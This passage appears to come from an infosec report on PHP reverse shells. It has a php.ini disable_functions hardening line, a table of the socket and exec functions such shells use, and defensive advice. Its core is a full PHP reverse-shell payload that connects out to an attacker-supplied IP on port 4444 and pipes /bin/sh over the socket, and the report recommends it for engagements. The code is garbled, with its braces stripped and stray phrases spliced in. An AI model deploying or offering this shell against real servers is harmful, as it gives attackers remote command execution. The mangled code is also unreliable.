In php.ini, modify the disable_functions directive:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,fsockopen,pfsockopen,stream_socket_client
Note: This breaks legitimate apps (e.g., WordPress updates). Test in staging first.
| Function | Purpose |
|----------|---------|
| fsockopen() | Open TCP socket connection to attacker |
| pfsockopen() | Persistent version of fsockopen |
| socket_create() | Low-level socket creation |
| exec(), system() | Execute OS commands |
| proc_open() | Advanced process control (with pipes) |
| die() or exit() | Terminate script if connection fails |
| fwrite() / fread() | Read/write over socket |
| shell_exec() | Return command output as string |
This is the gold standard. It is stable, feature-rich, and handles edge cases like pfsockopen (persistent sockets) and TTY shell upgrades.
Features:
The Payload:
<?php // Uses fsockopen for a reliable reverse shell set_time_limit(0); $ip = 'YOUR_IP'; // CHANGE THIS $port = 4444; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;if (function_exists('pcntl_fork')) $pid = pcntl_fork(); if ($pid == -1) printit("ERROR: Can't fork"); exit(1); if ($pid) exit(0); if (posix_setsid() == -1) printit("Error: Can't setsid()"); exit(1); pcntl_fork(); else printit("Warning: pcntl_fork() not supported");
$sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) printit("$errstr ($errno)"); exit(1);
$descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) printit("Error: proc_open failed"); exit(1); reverse shell php top
stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);
while (1) if (feof($sock)) printit("ERROR: Shell connection terminated"); break; if (feof($pipes[1])) printit("ERROR: Shell process terminated"); break; $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); if (in_array($pipes[1], $read_a)) $output = fread($pipes[1], $chunk_size); fwrite($sock, $output); if (in_array($pipes[2], $read_a)) $error_output = fread($pipes[2], $chunk_size); fwrite($sock, $error_output); proc_close($process); ?>
Rating: 10/10 – Use this for professional engagements. In php
PHP reverse shells remain a powerful and simple post-exploitation tool due to the combination of PHP’s command execution capabilities and the common misconfiguration of web servers. Defenders must adopt a layered approach: disable dangerous PHP functions, enforce strict upload policies, deploy WAF rules, and actively monitor outbound network traffic. Red teamers and penetration testers should use encrypted and obfuscated variants to avoid trivial detection. Ultimately, understanding the mechanics detailed in this report enables both effective attack simulation and robust defense.
Document ID: INFOSEC-PHP-REVSHELL-2025
Version: 1.0
Classification: Public (Educational/Defensive)
This report is for authorized security testing and defensive purposes only.